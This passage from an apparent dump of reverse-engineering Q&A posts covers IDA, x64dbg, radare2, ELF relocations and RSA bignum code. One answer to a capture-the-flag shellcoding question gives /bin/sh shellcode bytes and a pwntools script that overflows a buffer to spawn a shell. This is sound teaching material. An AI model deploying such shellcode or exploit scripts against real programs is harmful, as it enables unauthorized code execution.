    Fourth, the most difficult part of this task is having pure data. You can be comparing string bytes to int bytes and get nowhere. If you have pure string bytes or pure float bytes, you'll make progress.

    \n" }, { "Id": "18454", "CreationDate": "2018-06-04T20:34:54.753", "Body": "

    IDA's functions window, the window that lists all functions identified by IDA, has several columns represented by a single letter/character each. See example in attached picture.

    \n\n

    The characters are: R, F, L, S, B, T and =

    \n\n

    \"functions

    \n\n

    What is the meaning of each column/character?

    \n", "Title": "What is the meaning of single letters in IDA's functions window?", "Tags": "|ida|tools|", "Answer": "

    Every column value can be either a dot or the same column character. Those columns are boolean and the column character stands for \"True\" while the dot stands for \"False\".

    \n\n
      \n
    • R stands for \"Returns\" and is True (has an \"R\" in the column's value instead of a dot) if the function returns. Functions may not return and this requires special handling by IDA and the reverse engineer.
      • \n
    • F stands for \"Far\" and is true for functions that are far functions, or false otherwise.
      • \n
    • L stands for \"Library\" function, and is true for functions IDA recognised as library functions (usually using FLIRT).
      • \n
    • S stands for \"Static\" function.
      • \n
    • B stands for a E/R/BP stack frame based function. As part of IDA's analysis functions that use the xBP register for easier stack access are marked so.
      • \n
    • T stands for Type and indicates whether a function has type information assigned. Either manually or automatically by IDA using FLIRT.
      • \n
    • the equal sign (=) indicates the frame pointer is equal to the initial stack pointer.
      • \n
    \n\n

    All of those values can be manually accessible using the \"Edit function\" dialog (alt+p), like seen here:

    \n\n

    \"IDA

    \n\n

    This is also documented and can be found at Hex-Rays website, with a shorter explanation.

    \n\n

    Additionally, according to Arnaud Diederen:

    \n\n
    \n

    since 7.1, IDA also provides tooltips for those arguably cryptic single-letter columns. Just hover your mouse over the column header for a couple seconds, and the tooltip should appear.

    \n
    \n" }, { "Id": "18456", "CreationDate": "2018-06-04T20:57:07.410", "Body": "

    i am trying to override predefined functions such as strcmp, getenv, etc.\ni already override some of them using LD_PRELOAD options.\nbut i can't override string class, how can i override c++ string class

    \n\n

    i already tried something like this;

    \n\n
    class string{\n    char* str;\npublic:\n    string (char* str2){\n        str = str2;\n        std::cout << str2 << std::endl ;\n    }\n    bool operator==(char* str2)  {\n        std::cout << \"c++ => \" << str << \"==\" << str2 << std::endl;\n        return false; \n    }\n    compare(char* str2)  {\n        std::cout << \"c++ => \" << str << \"==\" << str2 << std::endl;\n        return 0;\n    }\n};  \n
    \n\n

    but it doesn't work i can't print the string that compared or even defined.

    \n\n

    compile;

    \n\n
    g++ -g -Wall -shared -fPIC -ldl -o bypasscpp.so bypass.cpp\n
    \n\n

    And running program with;

    \n\n
    LD_PRELOAD=\"./bypasscpp.so\" ./app\n
    \n", "Title": "How to override c++ string class with LD_PRELOAD", "Tags": "|c++|function-hooking|decompile|gcc|", "Answer": "

    Are you trying to override std::string? Please check https://en.cppreference.com/w/cpp/string/basic_string. std::string is just a typedef for std::basic_string<char> which means that std::string is not dynamically linked. In other words those methods you try to override are statically linked into you ./app.

    \n" }, { "Id": "18458", "CreationDate": "2018-06-05T04:10:12.907", "Body": "

    Among other approaches, there are ways to \"prettify\" obfuscated javascript. But most of such approaches are geared towards someone trying to understand code that's not their own (e.g. from a website, or something they took over, etc.).

    \n\n

    But suppose I am the owner/author of a script which is obfuscated in production and I notice an error in production. It is still not straightforward (even if I wrote the code) to map a function/variable from the obfuscated js to the regular version.

    \n\n

    Is there a clean way I can have a map of corresponding variables/functions in the regular and obfuscated versions?

    \n", "Title": "Map an obfuscated javascript file to the original", "Tags": "|obfuscation|deobfuscation|javascript|", "Answer": "

    This is highly dependant on your obfuscation technique.

    \n\n

    If you're focused on translating obfuscated object (functions, variables) names back to the original function names, this could be achieved easily by creating the mapping while obfuscating your javascript code.

    \n\n

    If the obfuscator's code is available to you (it should; or just get another obfuscation tool) adding that is trivial.

    \n\n

    If you're talking about something that's more than just variable and function names you may need to be more specific.

    \n" }, { "Id": "18463", "CreationDate": "2018-06-05T19:19:00.290", "Body": "

    I've a X64 DLL file which uses C++ standard library heavily. I've loaded the PDB symbol file in IDA and all the subroutines names sub_xxyz changes to std::xyz, which is as expected. But there are many subroutines, for example one name is like std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(void *Dst, _BYTE *a2, __int64 a3). Too long, isn't it ;)

    \n\n

    Under the hood, all these subroutines mainly do some memory manipulation with malloc(), memcpy(), memmove() etc. Hence my question, Can I simplify those subroutines in IDA by any means?

    \n", "Title": "How to simplify C++ standard template library in IDA?", "Tags": "|ida|disassembly|c++|", "Answer": "

    Although this function name is indeed quite long, there's no easy way to simplify it nor is it too difficult to understand once you gain decent C++ development experience, using std especially. The TLDR answer is that this is a constructor for a std::string object (specifically this looks like the substring(3) constructor, but I'm not 100% sure).

    \n\n

    If you visit the std::string reference page, you'll see this is the definition for std::string:

    \n\n
    typedef std::basic_string<char> string; \n
    \n\n

    The std::string class is being defined using the std::basic_string class template, which has three template parameters:

    \n\n
      \n
    1. the character type used for the string object.
      2. \n
    2. an object to control some string traits.
      3. \n
    3. The allocator used to actually allocate the string buffers for the class.
      4. \n
    \n\n

    In the std::string case, however, only the first template parameter is provided - the other two are the default ones defined based on the first template parameter (char), and although they can be replaced with different or more complex traits or allocators, this isn't the case for the std::string class.

    \n\n

    Although the typedef string is pretty simple and straightforward thanks to the default templates parameters being unspecified, when the object is built and actually defined by the compiler the full definition is used, which adds a lot of boilerplate definitions.

    \n\n

    If we split it up to it's parts, we'll see std::basic_string is being used and three template parameters are specified. As mentioned for the std::string, the second (std::char_traits<char>) and third (std::allocator<char>) are derived by the first and are both templates by themselves, receiving the same template parameter std::basic_string got (char).

    \n\n

    After the class definition, the two colons indicate a definition of an object under the class namespace:

    \n\n
    ::basic_string<char,std::char_traits<char>,std::allocator<char>>(void *Dst, _BYTE *a2, __int64 a3)\n
    \n\n

    We can easily see this is a function that has the same name as the class itself, which is the known way to define a constructor.

    \n\n

    Lastly, as with every function we have the parameters this function accepts inside the parentheses:

    \n\n
    void *Dst, _BYTE *a2, __int64 a3\n
    \n\n

    To simplify the full definition back to std::basic_string<char>, one would need to hold the default template parameters for all std template classes, and strip the ones that are recognized as the default ones. Although this is not a very difficult task, it seems a little redundant to me. You are obviously encouraged to either develop such a plugin yourself or suggest the feature improvement to the IDA development team.

    \n" }, { "Id": "18475", "CreationDate": "2018-06-07T15:05:06.487", "Body": "

    While working on this kernel module, I noticed IDA somehow resolves some ELF relocations statically. Consider the symbol sys_renameat, which, according to IDA, resides at 0x8000720 in .bss segment.

    \n\n

    \"enter

    \n\n

    The raw hex bytes corresponding to the mov instruction at 0x800328 are A3 20 07 00 08

    \n\n

    However, looking at bytes at that specific offset with a hex-editor reveals A3 00 00 00 00. Clearly, there is a relocation which IDA is resolving somehow.

    \n\n

    \"enter

    \n\n

    readelf -r rootkit confirms this.

    \n\n
    Relocation section '.rel.init.text' at offset 0x119c contains 26 entries:\n Offset     Info    Type            Sym.Value  Sym. Name\n.\n00000059  00001701 R_386_32          00000000   sys_renameat\n.\n
    \n\n

    The symbol information as returned by readelf -s rootkit

    \n\n
    Symbol table '.symtab' contains 44 entries:\nNum:    Value  Size Type    Bind   Vis      Ndx Name\n.\n23: 00000000     4 OBJECT  GLOBAL DEFAULT   15 sys_renameat\n.\n
    \n\n

    However, if I strip the binary, suddenly IDA fails to resolve (mov instruction at 0x800328) the relocations any more.

    \n\n

    \"enter

    \n\n

    My understanding is, resolving dynamic relocations never depends on symbol information which strip removes. I tried to compute how IDA was computing R_386_32 type relocation for sys_renameat according to ELF specification, but couldn't figure out what's going on.

    \n\n

    Is IDA resolving relocation correctly in this case/ If so, can someone please explain this behavior?

    \n", "Title": "Is IDA resolving ELF relocations correctly?", "Tags": "|ida|elf|", "Answer": "

    Linux kernel modules are not shared objects and don't use dynamic relocations, although they may look a little similar.

    \n\n

    file:

    \n\n
    \n

    rootkit: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), BuildID[sha1\n ]=5552f893cf02ce13e9a183af3b6717e884493ead, not stripped

    \n
    \n\n

    readelf -h:

    \n\n
    \n

    Type: REL (Relocatable file)

    \n
    \n\n

    So it's a relocatable object, and by stripping it you remove information necessary for its functioning.

    \n\n

    From the Linux Loadable Kernel Module HOWTO:

    \n\n
    \n

    How that relocation happens is fundamentally different between Linux\n 2.4 and Linux 2.6. In 2.6, insmod pretty much just passes the verbatim contents of the LKM file (.ko file) to the kernel and the kernel does the relocation.

    \n
    \n\n

    About relocation resolution by IDA:

    \n\n

    Since the real address of the symbols is not known until runtime but the user expects to see nice names in the disassembly, IDA's ELF loader creates a fake segment (\"extern\") and fills it with placeholders for the external symbols. The relocatable bytes are then patched to point to those fake symbols.

    \n" }, { "Id": "18477", "CreationDate": "2018-06-07T16:00:43.587", "Body": "

    I know how to do it with OllyDbg but with x64dbg\\x32dbg I don't know how to do it.

    \n\n

    I have a packed binary file and at some point it unpacks itself and I found the point where it does it.
    \nI want to copy it to a binary file at this point (after unpacked).

    \n\n

    I tried using right click on the code and use Copy and Binary but I don't see any option to copy to executable:
    \n\"enter

    \n\n

    Any idea ?

    \n", "Title": "How to copy binary file with x64dbg\\x32dbg after it changed it self", "Tags": "|x64dbg|", "Answer": "

    It sounds like you want to dump the executable. You can use Scylla (which is built into x64dbg) to dump and restore the executable.

    \n\n

    You can find Scylla in Plugins -> Scylla

    \n" }, { "Id": "18479", "CreationDate": "2018-06-07T18:12:59.000", "Body": "

    IBM's AIX strip utility documentation states the following:

    \n\n
    \n

    The strip command with no options removes the line number information,\n relocation information, symbol table, the debug section, and the\n typchk section, and the comment section.

    \n
    \n\n

    If relocation information is removed, how come the stripped executable still remain usable?

    \n", "Title": "How does a stripped XCOFF binary still remain usable?", "Tags": "|file-format|", "Answer": "

    apparently the XCOFF format has a separate section for dynamic linker (system loader):

    \n
    \n

    Loader Section (loader.h)

    \n

    The loader section contains information required by the system loader\nto load and relocate an executable XCOFF object. The loader section is\ngenerated by the binder. The loader section has an s_flags section\ntype flag of STYP_LOADER in the XCOFF section header. By convention,\n.loader is the loader section name. The data in this section is not\nreferenced by entries in the XCOFF symbol table.

    \n
    \n

    Presumably this one is not removed by strip, so the file still works.

    \n

    See also similar question on what happens with stripped ELF files.

    \n" }, { "Id": "18480", "CreationDate": "2018-06-07T19:11:24.280", "Body": "

    The below code snippets are some kind of bignum multiplications involving 2048bit numbers, possibly in the context of RSA decryption.

    \n\n
      \n
    • Does any one recognize this pattern?
      • \n
    • Is it maybe some kind of Montgomery multiplication (unlikely) ?
      • \n
    • Or some RSA obfuscation that someone recognizes?
      • \n
    \n\n

    There are 2 multiplication loops. I marked them with loop1 and loop2. loop1 does the partial multiplication and addition I would expect. But how does the second loop make sense mathematically? It uses a seperate vector to multiply with. Does this accumulate into a modulo operation?

    \n\n

    I converted the IDA compilation to a more readable representation below,\nthe original is at the end. Can anyone recognize a pattern?

    \n\n
    struct mod {\n  int len;\n  uint32_t _pad0[64]; /* 4 */\n  uint32_t r[64];     /* 4 + (256*1) :offset-260  */\n  uint32_t _pad2[64]; /* 4 + (256*2) :offset-516  */\n  uint32_t _pad3[64]; /* 4 + (256*3) :offset-772  */\n  uint32_t _pad4[64]; /* 4 + (256*4) :offset-1028 */\n  int fac;            /* 4 + (256*5) :offset-1284 */\n};\n\n#define align8(c) (((uint64_t)(c)) & (~0x7ULL))\n\nint64_t some_kind_of_mult(int32_t *acc , int32_t *a , int32_t *b, struct mod *n)\n{\n  int i0, i1, i2, j0 ;\n  uint32_t top;\n  uint64_t c0 = 0, c1 = 0, v0, v1, v2, v3, c01, c01_h;\n  intt64_t m1, res, topc0 = 0;\n\n  memset(acc,0,256);\n  res = 0;\n  l = n->len;\n\n  if ( !l )\n    return res;\n\n  top = topc0 = 0;\n\n  for (i0 = 0; i0 < l; i0++)\n  {\n      /* loop1: multiply a[0..l] with partial b[i0], accumulate resule in acc[0..l] */\n      for (c1=0, i1=0; i1 < l; i1++)\n      {\n          v1 = ((uint64_t)a[i1] * (uint64_t)b[i0]) + acc[i1] + c1;\n          acc[i1] = v1;\n          c1 = v1 >> 32;\n      }\n\n      top = (uint32_t)c1 + topc0;\n      c01 = c1 + topc0;\n\n      m1 = (uint32_t)(acc[0] * n->fac);\n      c2 = (m1 * (uint64_t)(n->r[0]) + acc[0]) >> 32;\n\n      /* loop2: do some acc[0..l] postprocessing involving some acc[i2-1] = .. acc[i2] ... calculcation */\n      for (i2 = 1; i2 < l; i2++)\n      {\n          v2 = acc[i2] + c2 + (m1 * n->r[i2]);\n          acc[i2-1] = v2;\n          c2 = (v2 >> 32);\n      }\n\n      acc[l-1] = top + c2;\n      topc0 = (c01 >> 32) + ((top + c2) >> 32);\n  }\n\n  if ( !topc0 && l-1 >= 0 )\n  {\n      res = l-1;\n      if ( acc[l-1] < n->r[l-1] )\n        /* possible error in IDA function */\n        return res;\n      if ( *v28 <= v29 )\n        /* possible error in IDA function */\n        JUMPOUT(loc_BC46E10);\n  }\n\n  res &= 0xffffffff00000000ULL;;\n  /* loop3: some final substraction on acc[0-l] */\n  for (j0 = 0; j0 < l; j0++)\n  {\n      v3 = acc[j0] - (uint64_t)n->r[j0] - (uint32_t)res;\n      acc[j0] = v3;\n      res = -(v3 >> 32);\n  }\n\n  return res;\n}\n
    \n\n

    Here is the original IDA decompile:

    \n\n
     int64 fastcall sub_BC46730(_DWORD *a1, int64 a2, int64 a3, int64 a4)\n{\n    _DWORD *v4; // r9@1\n    signed __int64 v5; // rdi@1\n    __int64 v6; // rbp@1\n    __int64 result; // rax@1\n    unsigned int v8; // ecx@1\n    unsigned int v9; // er13@1\n    __int64 v10; // r10@2\n    unsigned __int64 v11; // rdi@3\n    __int64 v12; // r8@3\n    unsigned __int64 v13; // rax@4\n    unsigned __int64 v14; // rax@4\n    __int64 v15; // r14@5\n    unsigned __int64 v16; // r11@5\n    __int64 v17; // rax@5\n    unsigned __int64 v18; // r11@5\n    __int64 v19; // r8@5\n    unsigned __int64 v20; // r15@5\n    signed __int64 v21; // rdi@6\n    _DWORD *v22; // rcx@6\n    __int64 v23; // rax@7\n    unsigned __int64 v24; // rax@7\n    unsigned __int64 v25; // rax@7\n    __int64 v26; // rsi@9\n    unsigned __int64 v27; // rcx@11\n    unsigned int *v28; // rdi@14\n    unsigned int v29; // ebx@14\n    __int64 v30; // [sp+0h] [bp-40h]@2\n    int v31; // [sp+8h] [bp-38h]@2\n    int v32; // [sp+Ch] [bp-34h]@2\n    v4 = a1;\n    v5 = (signed __int64)(a1 + 2);\n    v6 = a4;\n    *(_QWORD *)(v5 - 8) = 0LL;\n    *(_QWORD *)(v5 + 240) = 0LL;\n    result = 0LL;\n    memset(\n        (void *)(v5 & 0xFFFFFFFFFFFFFFF8LL),\n        0,\n        8 * ((unsigned __int64)((unsigned int)v4 - (v5 & 0xFFFFFFF8) + 256) >> 3));\n    v8 = 0;\n    v9 = *(_DWORD *)v6;\n    if ( *(_DWORD *)v6 )\n    {\n        v10 = 0LL;\n        v31 = *(_DWORD *)(v6 + 1284);\n        v32 = v9 - 1;\n        v30 = v9 - 1;\n        do {\n            v11 = 0LL;\n            v12 = 0LL;\n            /* loop1: */\n            do {\n                v13 = *(_DWORD *)(a2 + v11) * (unsigned __int64)*(_DWORD *)(a3 + 4 * v10) + v4[v11 / 4] + v12;\n                v4[v11 / 4] = v13;\n                v11 += 4LL;\n                v14 = v13 >> 32;\n                v12 = (unsigned int)v14;\n            } while ( v11 != 4 * v30 + 4 );\n            v15 = (unsigned int)v14 + v8;\n            v16 = v14 + v8;\n            v17 = *v4;\n            v18 = v16 >> 32;\n            v19 = (unsigned int)(v17 * v31);\n            v20 = (v19 * (unsigned __int64)*(_DWORD *)(v6 + 260) + v17) >> 32;\n            if ( v9 <= 1 )\n                goto LABEL_16;\n            v21 = v6 + 264;\n            v22 = v4;\n            /* loop2: */\n            do\n            {\n                v23 = v22[1];\n                v21 += 4LL;\n                ++v22;\n                v24 = v23 + v20 + v19 * *(_DWORD *)(v21 - 4);\n                *(v22 - 1) = v24;\n                v25 = v24 >> 32;\n                v20 = (unsigned int)v25;\n            }\n            while ( v21 != v6 + 4LL * (v9 - 2) + 268 );\n            ++v10;\n            v4[v30] = v15 + v25;\n            v8 = v18 + ((v15 + v25) >> 32);\n        }\n        while ( v9 > (unsigned int)v10 );\n        v26 = 0LL;\n        if ( !v8 && v32 >= 0 )\n        {\n            result = v32;\n            v28 = &v4[v32];\n            v29 = *(_DWORD *)(4LL * v32 + v6 + 260);\n            if ( *v28 < v29 )\n                return result;\n            if ( *v28 <= v29 )\n            LABEL_16:\n                JUMPOUT(loc_BC46E10);\n        }\n        LODWORD(result) = 0;\n        do\n        {\n            v27 = v4[v26] - (unsigned __int64)*(_DWORD *)(v6 + 4 * v26 + 260) - (unsigned int)result;\n            v4[v26++] = v27;\n            result = (unsigned int)-HIDWORD(v27);\n        }\n        while ( v9 > (unsigned int)v26 );\n    }\n    return result;\n}\n
    \n", "Title": "Is this Bignum multiplication of 2048 RSA number a Montgomery multiplication?", "Tags": "|ida|binary-analysis|", "Answer": "

    The structure seems to resemble a Montgomery CIOS implementation

    \n\n

    \"CIOS

    \n\n

    From the paper on Researchgate: Coarsely Integrated Operand Scanning

    \n\n

    More references on CIOS Montgomery: https://www.microsoft.com/en-us/research/wp-content/uploads/1996/01/j37acmon.pdf

    \n" }, { "Id": "18482", "CreationDate": "2018-06-07T19:19:58.053", "Body": "

    Assuming I have the following scenario:\nI have spotted a vulnerability in a specific function deep inside of an executable (DLL). To get that code path executed (in a vulnerable context) I need to feed the program with very specific input that depends on the flow paths and checked performed at different phases in the program.

    \n\n

    What I'm looking for are some guidelines, books, material I could research which can explain me what approaches exist and how to get there.

    \n\n

    Thanks and Regards,\nDaniel

    \n", "Title": "Automatically find intput required to trigger a specific code path in a program", "Tags": "|ida|exploit|", "Answer": "

    One common method of finding out the needed input to reach a specific execution flow (or a target instruction/function) is done using SMT solvers.

    \n\n

    SMT solvers are programs that accept a set of symbols, potentially conflicting conditions and a set of defined operations between them, as well as a desired outcome/target. An SMT solver will attempt to provide a \"solution\" to the given constraints, in the defined domain space.

    \n\n

    As mentioned, this topic is tightly related to fuzzing and symbolic execution, of course. That is also the main context in which SMT solvers (and similar techniques/approaches) are used in the security industry. Couple folks in the industry have also spent a lot of their time on that, namely Rolf Rolles.

    \n\n

    There are a few SMT solvers that are commonly used in the security industry community (that I'm aware of):

    \n\n
      \n
    1. Z3 by Microsoft is a widely known one.
      2. \n
    2. Triton is another.
      3. \n
    3. angr is a library focused on lifting assembly to IR and solving constraints.
      4. \n
    \n\n

    Additionally, there are a bunch ton of solvers over at the wiki page.

    \n" }, { "Id": "18492", "CreationDate": "2018-06-09T17:18:17.187", "Body": "

    Currently working through an introductory shellcoding challenge, and having trouble getting the shellcode to work consistently.

    \n\n

    I'm working on a 32bit Linux binary. I found this shellcode:

    \n\n

    http://shell-storm.org/shellcode/files/shellcode-827.php

    \n\n
    xor    %eax,%eax\npush   %eax\npush   $0x68732f2f\npush   $0x6e69622f\nmov    %esp,%ebx\npush   %eax\npush   %ebx\nmov    %esp,%ecx\nmov    $0xb,%al\nint    $0x80\n
    \n\n

    As a first step, I ran the shellcode in a simple test program:

    \n\n
    #include<stdio.h>\n#include<string.h>\n\nunsigned char code[] = \\ \n\"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\"\n\"\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\";\n\nmain()\n{\n    printf(\"Shellcode length: %d\\n\", strlen(code));\n    int (*ret)() = (int(*)())code;\n    ret();\n}\n
    \n\n

    Shellcode works perfectly in this test program. Problems start when I move the shellcode into the actual challenge binary. I can confirm in GDB that:

    \n\n
      \n
    1. Code execution is re-directed into the stack.
      2. \n
    2. The shellcode assembly is correct in the stack.
      3. \n
    \n\n

    However, when program execution gets to one of these two lines in the shellcode:

    \n\n
    0xffffd0e4:    push       %ebx\n0xffffd0e5:    mov        %esp,%ecx\n
    \n\n

    I get:

    \n\n
    SIGSEGV, Segmentation fault\n
    \n\n

    My question is: why does shellcode that works in a test program fail in the actual binary? How would I go about troubleshooting this?

    \n\n

    Thank you!

    \n", "Title": "Shellcode challenge - shellcode works in test program, segfaults in actual binary", "Tags": "|shellcode|", "Answer": "

    It looks like you have two issues.

    \n\n

    1) You are overwriting your input buffer with those push-es so that why you have some junk on the stack and that's why our application crashes.

    \n\n

    See those two pictures that show your assembly before and after executing the second push for the /bin/sh

    \n\n

    Before\n\"enter

    \n\n

    After\n\"enter

    \n\n

    You can clearly see odd das and bound opcodes instead of pushes.

    \n\n

    2) You're not taking into account that the code is relocated so your buffer is not always in the same place. When you run from gdb you have the code that will jump to the beginning of the buffer (this is the part \\xc0\\xd0\\xff\\xff) and for your gdb sessions, this is true since gdb turns ASLR off.

    \n\n

    You can check that by issuing this command in gdb:

    \n\n
    \n

    gdb-peda$ show disable-randomization
    \n Disabling randomization of debuggee's virtual address space is on.

    \n
    \n\n

    If you change that by set disable-randomization off it should start failing also in gdb as the buffer will be located each time at a different location.

    \n\n

    In order to do this correctly, you need to locate where the buffer is. This is also why you have a tip where it is located in the first message.

    \n\n

    To compensate for that two issues I would use pwntools for this and prepare a script:

    \n\n
    from pwn import *\n\ncontext(arch='i386', os='linux')\n\nr = process('./shellcoding.dms')\n# read the line that has the info about the address\nl = r.recvline()\nprint l\n# extract it\naddr = int(l[18:], 16)\n#nop sled at the end but not actually needed. We only need to fill the space for the buffer to overwrite the ret\nexploit = \"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\"+\"\\x90\"*21 \nprint \"Address is: \"+hex(addr)\n# add an address to be taken from the stack by ret\nexploit += p32(addr) \n\nr.send(exploit+\"\\n\")\n# read the \"ok... lets see if you got it...\" message\nr.recvline()\nr.interactive() #pwn\n
    \n\n

    Running this should work!

    \n" }, { "Id": "18504", "CreationDate": "2018-06-11T15:25:13.153", "Body": "

    I have attached debugger to process/application (exe), but when i go to string references, it shows ntdll.dll references, instead of program.\nhow to get the references from program itself?\nis it protected?

    \n\n

    \"enter

    \n", "Title": "How to view string references?", "Tags": "|x64dbg|", "Answer": "

    When x64dbg attaches to a process it will first stop at the 'Attach breakpoint'. The button to search for string references will search the module currently shown in the disassembly. To search in another module you simply have to go there.

    \n\n

    One way to do this is to go to the Symbols tab and double click the module you are interested in. This should take you to the code section of the module. From there you can press the button to search for string references.

    \n" }, { "Id": "18525", "CreationDate": "2018-06-14T14:46:45.193", "Body": "

    Hello I'm playing with my native android library, everything was going smoothly till now. I have problem with opcodes, i don't know how to tell radare2 to write str opcode with specifc registry, and point it to stack pointer and local variable.

    \n\n

    Details below:

    \n\n

    Lib loaded via :

    \n\n
    \n

    r2 -Aw lib/arm64-v8a/libnative-lib.so

    \n
    \n\n

    Before changes

    \n\n
    |           ; var int local_ch @ sp+0xc\n|           ; var int local_10h @ sp+0x10\n|           ; var int local_18h @ sp+0x18\n[...]\n|           0x0000946c      e00f00f9       str x0, [sp + local_18h]\n|           0x00009470      e10b00f9       str x1, [sp + local_10h]\n
    \n\n

    Applying changes

    \n\n
    [0x00009470]> wa str x1,sp+local_10h\nWritten 4 byte(s) (str x1,sp+local_10h) = wx e10300f9\n
    \n\n

    Unwanted output

    \n\n
    [0x00009470]> pd 1\n|           0x00009470      e10300f9       str x1, [sp]\n
    \n\n

    Output that i want but don't know how to get it (note the \"+ local_10h\" label)

    \n\n
      [0x00009470]> pd 1\n  |           0x00009470     e10b00f9       str x1, [sp + local_10h]\n
    \n", "Title": "How to write [sp+local_variable] in radare2", "Tags": "|arm|radare2|", "Answer": "

    So to make an order from the comments - you can do it by using two approaches.

    \n\n
      \n

    1. Use the original opcodes and write them using wx which stands for \"write hex\":

      \n\n
      wx e10b00f9\n
      2. \n

    2. If you still want to use wa you can do this like this:

      \n\n
      wa str x1,sp,0x10\n
      3. \n
    \n\n

    In general, handling function's local variables can be done using the afv command and subcommands. Execute afv? to see its subcommands:

    \n\n
    [0x00000000]> afv?\n|Usage: afv[rbs]\n| afvr[?]                     manipulate register based arguments\n| afvb[?]                     manipulate bp based arguments/locals\n| afvs[?]                     manipulate sp based arguments/locals\n| afv*                        output r2 command to add args/locals to flagspace\n| afvR [varname]              list addresses where vars are accessed (READ)\n| afvW [varname]              list addresses where vars are accessed (WRITE)\n| afva                        analyze function arguments/locals\n| afvd name                   output r2 command for displaying the value of args/locals in the debugger\n| afvn [old_name] [new_name]  rename argument/local\n| afvt [name] [new_type]      change type for given argument/local\n| afv-([name])                remove all or given var\n
    \n\n

    By executing afv you'll see a list of all arguments, and both bp and sp based local variables. For example, by executing afvs you'll see a list of all stack-pointer based variables. Use afvb to see variables that are base-pointer based.

    \n\n

    After executing these commands, you'll see how these variable names were defined:

    \n\n
    var int local_8h @ rsp+0x8\nvar int local_10h @ rsp+0x10\n
    \n\n

    For example, you can see that local_8h is defined for rsp+0x8, and local_10h for rsp+0x10.
    \nWhile debugging, you can use afvd [var_name] to shed more light on the variable.

    \n" }, { "Id": "18528", "CreationDate": "2018-06-15T11:01:13.213", "Body": "

    I was just wondering if there was a way to force an interpretation of a block of code in x64dbg.

    \n\n

    The section im analyzing fluctuates between this:

    \n\n

    \"enter

    \n\n

    and this:

    \n\n

    \"enter

    \n", "Title": "Forcefully interpret code in x64dbg", "Tags": "|x64dbg|", "Answer": "

    You are encountering the issue of backwards disassembly. When you give x64dbg an address to disassemble at it will start decoding at exactly this address, go to the next instruction, etc.

    \n\n

    For example if you have the bytes:

    \n\n

    EB 00 48 83 C4 38 C3

    \n\n

    And you start disassembling at the first byte you will see:

    \n\n
    0 | EB 00       | jmp 2\n2 | 48 83 C4 38 | add rsp,38\n6 | C3          | ret\n
    \n\n

    If you start disassembling at the second byte you will see:

    \n\n
    1 | 00 48 83    | add byte ptr ds:[rax-7D],cl\n4 | C4          | ???\n5 | 38 C3       | cmp bl,al\n
    \n\n

    The reason you are seeing garbage like this when scolling up is that x64dbg has no idea about instruction starts and tries to heuristically determine what the previous instruction was based on the bytes. If the result of this algorithm is wrong x64dbg will disassemble at an incorrect location causing strange looking instructions. You can find the implementation of that algorithm here. It is based on the algorithm used inside OllyDbg.

    \n\n

    As some users suggested you can use analysis, but the results of this are not used during backwards disassembly because generally everything works fine.

    \n" }, { "Id": "18552", "CreationDate": "2018-06-18T21:39:13.473", "Body": "

    Hi I'd like to run a python command python -c 'print \"\\x90\"*52' when the program start in GDB, as I would do when I execute : python -c 'print \"\\x90\"*52' | ./myProg . Does anyone knows any way to acheive this?

    \n\n

    What I've tried so far : \n

    \n\n
      \n
    • `python -c 'print \"\\x90\"*52' ` run
      • \n
    • run `python -c 'print \"\\x90\"*52' `
      • \n
    \n\n

    I really apologies if I'm not asking on the right StackExchange forum. Thanks.

    \n\n

    EDIT

    \n\n

    here is a useful link I found talking about input payloads redirection : Managing inputs for payload injection?

    \n", "Title": "Run a python command with \"run\" on GDB", "Tags": "|gdb|python|", "Answer": "

    You do not have to use another file, it is just redundant

    \n\n

    You can do this by using \"Here strings\". \nIn your example you can do :

    \n\n
    r <<< $(python -c \"print '\\x90'*52\")\n
    \n\n

    You can read about \"Here strings\" here

    \n" }, { "Id": "18556", "CreationDate": "2018-06-19T02:54:13.623", "Body": "

    Issue

    \n\n

    I'm hoping someone can help me determine why this binary won't execute.

    \n\n

    It is a closed-source, stripped ARM binary. That said, it is freely downloadable on the internet so there is a link to it at the bottom of this post.

    \n\n

    The target is an ARM binary pulled from a firmware image. I have set up an ARM VM, but have also tried running the binary on a Pi with the same result.

    \n\n

    Here is what I'm seeing:

    \n\n
    root@debian-armel:/tmp/squashfs-root/usr/bin# ./my_arm_bin \nIllegal instruction\n
    \n\n

    That \"Illegal instruction\" error is not super helpful... so I dug in a little deeper.

    \n\n

    My VM

    \n\n

    I don't think the problem is my VM. It is a pretty standard ARM VM setup. From: https://people.debian.org/~aurel32/qemu/armel/

    \n\n

    Using debian_squeeze_armel_standard.qcow2, initrd.img-2.6.32-5-versatile, and vmlinuz-2.6.32-5-versatile. It is launched with QEMU with a few ports forwarded (ssh,http,31337 for gdb stuff). I am able to execute other ARM binaries on the system without issue, including other binaries pulled from the same firmware image.

    \n\n

    Also, as mentioned before I've tried dropping the binary onto a Pi with no luck. I tried both as root on the pi, as well as in a chroot'ed environment with the rootfs of the extracted firmware image, same result: Illegal Instruction.

    \n\n

    r2 Info

    \n\n

    rabin2 -I my_arm_bin:

    \n\n
    Warning: Cannot initialize dynamic strings\narch     arm\nbinsz    44831825\nbintype  elf\nbits     32\ncanary   false\nclass    ELF32\ncrypto   false\nendian   little\nhavecode true\nlang     c\nlinenum  false\nlsyms    false\nmachine  ARM\nmaxopsz  16\nminopsz  1\nnx       false\nos       linux\npcalign  0\npic      false\nrelocs   false\nrpath    NONE\nstatic   true\nstripped true\nsubsys   linux\nva       true\n
    \n\n

    Additional Debugging (gdb w/ gef on Pi)

    \n\n

    So, time to attach a debugger and see exactly what instruction is actually throwing that error. This was done on a Pi.

    \n\n

    After starting up and breaking on entry, using ni to single step, I see:

    \n\n
